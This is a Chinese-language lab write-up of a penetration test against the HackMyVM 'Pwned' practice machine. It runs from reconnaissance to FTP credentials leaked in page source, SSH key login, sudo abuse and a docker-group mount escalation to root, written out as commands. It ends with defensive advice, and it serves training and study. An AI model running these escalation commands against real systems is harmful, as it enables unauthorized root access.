hackmyvm系列5——Pwned
字数 1064 2025-08-12 11:34:24
HackMyVM系列5——Pwned靶机渗透测试报告
1. 靶机信息
- 靶机IP: 192.168.56.150
- 开放端口: 21(FTP)、22(SSH)、80(HTTP)
- 难度等级: 中级
2. 信息收集阶段
2.1 网络扫描
netdiscover -r 192.168.56.0/24
nmap -sV -Pn -sC 192.168.56.150
扫描结果显示靶机开放了21(FTP)、22(SSH)和80(HTTP)端口。
2.2 Web目录扫描
gobuster dir -u http://192.168.56.150/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 60
发现关键目录:
/hidden_text/- 包含有价值信息的目录
2.3 源代码分析
查看网页源代码发现FTP凭据:
- 用户名:
ftpuser - 密码:
B0ss_B!TcH
3. 初始访问
3.1 FTP登录
使用获取的凭据登录FTP:
ftp 192.168.56.150
发现两个文件:
id_rsa- SSH私钥note.txt- 包含用户名信息
3.2 SSH登录尝试
从note.txt中获取用户名ariana,使用id_rsa私钥尝试SSH登录:
chmod 600 id_rsa
ssh ariana@192.168.56.150 -i id_rsa
成功获取初始用户ariana的shell访问权限。
4. 权限提升
4.1 检查sudo权限
sudo -l
发现messenger.sh文件可以以selena用户身份无需密码执行。
4.2 分析messenger.sh
检查文件权限和内容:
ls -la messenger.sh
cat messenger.sh
发现文件不可编辑,但可以执行。
4.3 利用messenger.sh
以selena用户身份执行脚本:
sudo -u selena ./messenger.sh
获取稳定的shell:
python3 -c "import pty;pty.spawn('/bin/bash');"
成功升级到selena用户权限。
4.4 Docker组提权
检查用户组:
groups
发现selena用户在docker组中,可以利用此进行提权。
5. 最终提权方法
由于用户属于docker组,可以使用以下方法获取root权限:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
或者:
docker run -it --privileged -v /:/mnt ubuntu bash
这将挂载主机的根文件系统到容器中,从而获得完全的root访问权限。
6. 总结与防御建议
渗透路径总结:
- 通过Web源代码泄露获取FTP凭据
- 通过FTP获取SSH私钥和用户名
- 利用sudo权限不当升级到selena用户
- 利用docker组成员身份实现最终提权
防御建议:
- 避免在源代码中存储敏感信息
- 加强FTP服务安全配置
- 限制sudo权限,遵循最小权限原则
- 严格控制docker组用户,避免普通用户加入
- 定期审计系统权限配置
7. 技术要点备忘
- 目录扫描: 使用gobuster进行中等强度的目录扫描
- 源代码审计: 始终检查网页源代码寻找隐藏信息
- SSH私钥利用: 注意设置正确的文件权限(600)
- sudo权限利用: 检查sudo -l寻找可利用的脚本
- docker提权: docker组成员可利用容器挂载主机文件系统提权